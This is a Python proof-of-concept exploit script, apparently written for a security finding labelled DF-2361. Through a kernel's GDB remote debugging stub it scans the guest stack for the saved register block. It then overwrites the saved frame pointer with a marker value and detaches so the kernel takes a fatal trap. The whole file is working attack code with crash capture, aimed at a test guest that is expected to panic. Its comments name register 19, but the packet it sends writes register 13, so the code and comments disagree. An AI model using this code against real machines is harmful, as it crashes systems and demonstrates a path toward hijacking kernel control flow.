#!/usr/bin/env python3 -u
# poc2361rip.py -- DF-2361 destructive proof: P regno 19 (offset +152) lands
# on gdb_handle_exception's SAVED RBP (frame autopsy showed A+152 holds a
# stack pointer; A+208 holds the return address into kdb_trap).
#
# We overwrite the saved rbp with a non-canonical marker 0x4141414141414141
# and detach ('D'): gdb_handle_exception returns into kdb_trap with a
# corrupted frame pointer; kdb_trap's next [rbp+off] access takes a
# page/general protection fault with the marker address in the fault VA /
# register state -- control-flow-relevant stack corruption demonstrated.
#
# The guest is expected to die (Fatal trap / panic); capture it, then reset.
import sys, os, time, json
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from rig236 import Rig, ADDRS, hx

RET = ADDRS["kdb_call_ret"]
R = {}
rig = Rig("poc2361rip", "/tmp/opencode/df2361rip-raw.log")
p = rig.p
try:
    t05 = rig.enter_stub()
    def le(h): return int.from_bytes(bytes.fromhex(h), "little")
    rsp, rip, rbp = le(t05["07"]), le(t05["10"]), le(t05["06"])
    base = (rsp - 0x800) & ~7
    blob = p.read_mem(base, 0x880)
    A = None
    for off in range(0, len(blob) - 152, 8):
        if int.from_bytes(blob[off + 128:off + 136], "little") == rip and \
           int.from_bytes(blob[off + 56:off + 64], "little") == rsp and \
           int.from_bytes(blob[off + 48:off + 56], "little") == rbp:
            A = base + off
            break
    if A is None:
        print("[!] registers not located"); rig.detach(); sys.exit(2)
    print("[+] &registers = 0x%x" % A)
    above = p.read_mem(A + 152, 0x40)
    for i in range(0, 0x40, 8):
        v = int.from_bytes(above[i:i + 8], "little")
        tag = ""
        if v == RET: tag = " <-- return address into kdb_trap"
        if abs(v - rsp) < 0x1000: tag += " (stack ptr)"
        print("    A+%d: 0x%016x%s" % (152 + i, v, tag))
    rbp_slot_val = int.from_bytes(above[0:8], "little")
    R["slot152"] = hex(rbp_slot_val)
    # overwrite saved rbp (A+152) with non-canonical marker
    r = p.pkt("P13=4141414141414141".replace("4141414141414141","0000414141414141"))  # canonical unmapped
    R["P19_reply"] = r
    print("[+] P19 (A+152 = saved rbp slot) <- 0x0000414141414141 (canonical, unmapped): reply=%r" % r)
    # detach: gdb_handle_exception returns; epilogue pops corrupt rbp
    print("[+] sending D -- expecting Fatal trap with 0x41414141... in fault state")
    p.pkt("D", timeout=8, expect_reply=False)
    # capture the crash output
    m = p.wait(r"Fatal trap|panic|0x41414141|Uptime|db>", 40)
    time.sleep(5)
    p.pump()
    got = bytes(p.buf).decode(errors="replace")
    R["crash_seen"] = bool(m)
    R["crash_snippet"] = got[-1200:]
    print("[%s] crash output captured: %s" % ("+" if m else "-", m.group(0) if m else "NONE"))
    print(got[-1200:])
except Exception as e:
    import traceback
    traceback.print_exc()
finally:
    try:
        rig.p.close()
    except Exception:
        pass
print("[RESULT] " + json.dumps(R))
sys.exit(0 if R.get("crash_seen") else 1)
